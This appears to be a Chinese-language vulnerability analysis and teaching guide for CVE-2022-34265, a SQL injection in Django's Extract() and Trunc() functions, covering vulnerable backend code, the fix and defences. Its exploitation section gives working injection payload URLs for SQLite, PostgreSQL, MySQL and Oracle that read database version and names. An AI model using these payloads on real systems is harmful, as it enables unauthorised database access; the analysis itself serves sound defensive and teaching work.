CVE-2022-34265 Django SQL 注入漏洞调试分析
字数 1797 2025-08-26 22:11:22

Django SQL 注入漏洞(CVE-2022-34265)深度分析与教学指南

漏洞概述

CVE-2022-34265是Django框架中的一个SQL注入漏洞,影响Django的日期处理函数Extract()Trunc()。当这些函数的参数lookup_name(Extract)或kind(Trunc)未经过滤直接由用户输入控制时,攻击者可构造恶意payload导致SQL注入攻击。

受影响版本

  • 所有低于Django 3.2.14的3.2.x版本
  • 所有低于Django 4.0.6的4.0.x版本

漏洞原理分析

漏洞函数介绍

Extract()函数

  • 用途:提取日期的一部分作为数字
  • 参数:lookup_name指定提取的日期部分(如'year','month'等)
  • 示例:Extract('year', "start_datetime")

Trunc()函数

  • 用途:截断日期的某一部分,常用于数据聚合
  • 参数:kind指定截断的日期部分(如'year','month'等)
  • 示例:Trunc('year', "start_datetime")

漏洞产生原因

在受影响版本中,Django ORM在处理这两个函数时:

  1. 直接将用户可控的lookup_namekind参数拼接到SQL语句中
  2. 未对这些参数进行充分的过滤和验证
  3. 不同数据库后端处理方式不同,导致漏洞表现存在差异

漏洞调试与分析

SQL注入流程

  1. 用户输入通过lookup_namekind参数传入
  2. Django ORM生成SQL查询时,将参数直接拼接到SQL语句中
  3. 恶意输入被数据库执行,导致SQL注入

各数据库后端分析

SQLite

  • Extract函数

    def datetime_extract_sql(self, lookup_type, field_name, tzname):
        return "django_datetime_extract('%s', %s, %s, %s)" % (
            lookup_type.lower(), field_name, *self._convert_tznames_to_sql(tzname),
        )
    
    • 直接拼接lookup_type(即lookup_name)
    • 漏洞存在
  • Trunc函数

    def datetime_trunc_sql(self, lookup_type, field_name, tzname):
        return "django_datetime_trunc('%s', %s, %s, %s)" % (
            lookup_type.lower(), field_name, *self._convert_tznames_to_sql(tzname),
        )
    
    • 直接拼接lookup_type(即kind)
    • 漏洞存在

PostgreSQL

  • Extract函数

    def date_extract_sql(self, lookup_type, field_name):
        return "EXTRACT('%s' FROM %s)" % (lookup_type, field_name)
    
    • 直接拼接lookup_type
    • 漏洞存在
  • Trunc函数

    def datetime_trunc_sql(self, lookup_type, field_name, tzname):
        return "DATE_TRUNC('%s', %s)" % (lookup_type, field_name)
    
    • 直接拼接lookup_type
    • 漏洞存在

MySQL

  • Extract函数

    def date_extract_sql(self, lookup_type, field_name):
        return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)
    
    • 仅将参数转为大写
    • 漏洞存在
  • Trunc函数

    def datetime_trunc_sql(self, lookup_type, field_name, tzname):
        # 使用格式字符串处理
        sql = "CAST(DATE_FORMAT(%s, '%s') AS DATETIME)" % (field_name, format_str)
        return sql
    
    • 使用预定义格式字符串
    • 漏洞不存在

Oracle

  • Extract函数

    def date_extract_sql(self, lookup_type, field_name):
        return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)
    
    • 仅将参数转为大写
    • 漏洞存在
  • Trunc函数

    def datetime_trunc_sql(self, lookup_type, field_name, tzname):
        # 使用预定义格式
        sql = "TRUNC(%s, '%s')" % (field_name, lookup_type.upper())
        return sql
    
    • 使用预定义格式
    • 漏洞不存在

漏洞利用

通用利用条件

  1. 应用程序使用受影响版本的Django
  2. 使用Extract()Trunc()函数
  3. 函数的lookup_namekind参数由用户输入控制且未过滤

各数据库利用Payload示例

SQLite

  • Extract盲注:
    /extract/?lookup_name=year',end_datetime,NULL,NULL)) AND 1=1-- +
    /extract/?lookup_name=year',end_datetime,NULL,NULL)) AND 1=2-- +
    
  • 使用CASE WHEN进行条件查询

PostgreSQL

  • Extract报错注入:
    /extract/?lookup_name=year' FROM start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +
    
  • Trunc注入:
    /trunc/?kind=year', start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +
    

MySQL

  • Extract报错注入:
    /extract/?lookup_name=year from start_datetime)) and updatexml(1,concat(1,database()),0)-- +
    

Oracle

  • Extract报错注入:
    /extract/?lookup_name=year from start_datetime)) and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))-- +
    

漏洞修复

官方修复方案

Django在修复版本中:

  1. django/db/backends/base/operations.py中添加了参数验证
  2. 使用正则表达式严格限制lookup_type参数:
    def validate_extract_argument(argument):
        if not isinstance(argument, str):
            return False
        return bool(re.fullmatch(r'\w+', argument))
    
  3. 在生成SQL前验证参数合法性

修复建议

  1. 升级到安全版本:
    • Django 3.2.14或更高
    • Django 4.0.6或更高
  2. 如果无法立即升级:
    • 对用户输入的lookup_namekind参数进行严格过滤
    • 使用预定义的子类(如ExtractYear代替Extract(lookup_name='year'))

防御措施

  1. 输入验证

    • 严格限制lookup_namekind参数的取值范围
    • 使用Django提供的预定义子类而非直接传递参数
  2. 最小权限原则

    • 数据库连接使用最小必要权限
  3. ORM安全实践

    • 避免直接拼接用户输入到查询中
    • 使用Django提供的安全API
  4. 持续更新

    • 及时关注Django安全公告并更新到最新稳定版本

总结

CVE-2022-34265展示了即使在使用ORM时也可能存在SQL注入风险。该漏洞的特殊性在于:

  • 影响Django核心的日期处理功能
  • 不同数据库后端表现不同
  • 需要特定条件才能触发

通过深入理解此漏洞,开发者可以更好地编写安全的Django应用程序,避免类似的安全问题。

Django SQL 注入漏洞(CVE-2022-34265)深度分析与教学指南 漏洞概述 CVE-2022-34265是Django框架中的一个SQL注入漏洞,影响Django的日期处理函数 Extract() 和 Trunc() 。当这些函数的参数 lookup_name (Extract)或 kind (Trunc)未经过滤直接由用户输入控制时,攻击者可构造恶意payload导致SQL注入攻击。 受影响版本 所有低于Django 3.2.14的3.2.x版本 所有低于Django 4.0.6的4.0.x版本 漏洞原理分析 漏洞函数介绍 Extract()函数 用途:提取日期的一部分作为数字 参数: lookup_name 指定提取的日期部分(如'year','month'等) 示例: Extract('year', "start_datetime") Trunc()函数 用途:截断日期的某一部分,常用于数据聚合 参数: kind 指定截断的日期部分(如'year','month'等) 示例: Trunc('year', "start_datetime") 漏洞产生原因 在受影响版本中,Django ORM在处理这两个函数时: 直接将用户可控的 lookup_name 或 kind 参数拼接到SQL语句中 未对这些参数进行充分的过滤和验证 不同数据库后端处理方式不同,导致漏洞表现存在差异 漏洞调试与分析 SQL注入流程 用户输入通过 lookup_name 或 kind 参数传入 Django ORM生成SQL查询时,将参数直接拼接到SQL语句中 恶意输入被数据库执行,导致SQL注入 各数据库后端分析 SQLite Extract函数 : 直接拼接 lookup_type (即 lookup_name ) 漏洞存在 Trunc函数 : 直接拼接 lookup_type (即 kind ) 漏洞存在 PostgreSQL Extract函数 : 直接拼接 lookup_type 漏洞存在 Trunc函数 : 直接拼接 lookup_type 漏洞存在 MySQL Extract函数 : 仅将参数转为大写 漏洞存在 Trunc函数 : 使用预定义格式字符串 漏洞不存在 Oracle Extract函数 : 仅将参数转为大写 漏洞存在 Trunc函数 : 使用预定义格式 漏洞不存在 漏洞利用 通用利用条件 应用程序使用受影响版本的Django 使用 Extract() 或 Trunc() 函数 函数的 lookup_name 或 kind 参数由用户输入控制且未过滤 各数据库利用Payload示例 SQLite Extract盲注: 使用CASE WHEN进行条件查询 PostgreSQL Extract报错注入: Trunc注入: MySQL Extract报错注入: Oracle Extract报错注入: 漏洞修复 官方修复方案 Django在修复版本中: 在 django/db/backends/base/operations.py 中添加了参数验证 使用正则表达式严格限制 lookup_type 参数: 在生成SQL前验证参数合法性 修复建议 升级到安全版本: Django 3.2.14或更高 Django 4.0.6或更高 如果无法立即升级: 对用户输入的 lookup_name 和 kind 参数进行严格过滤 使用预定义的子类(如 ExtractYear 代替 Extract(lookup_name='year') ) 防御措施 输入验证 : 严格限制 lookup_name 和 kind 参数的取值范围 使用Django提供的预定义子类而非直接传递参数 最小权限原则 : 数据库连接使用最小必要权限 ORM安全实践 : 避免直接拼接用户输入到查询中 使用Django提供的安全API 持续更新 : 及时关注Django安全公告并更新到最新稳定版本 总结 CVE-2022-34265展示了即使在使用ORM时也可能存在SQL注入风险。该漏洞的特殊性在于: 影响Django核心的日期处理功能 不同数据库后端表现不同 需要特定条件才能触发 通过深入理解此漏洞,开发者可以更好地编写安全的Django应用程序,避免类似的安全问题。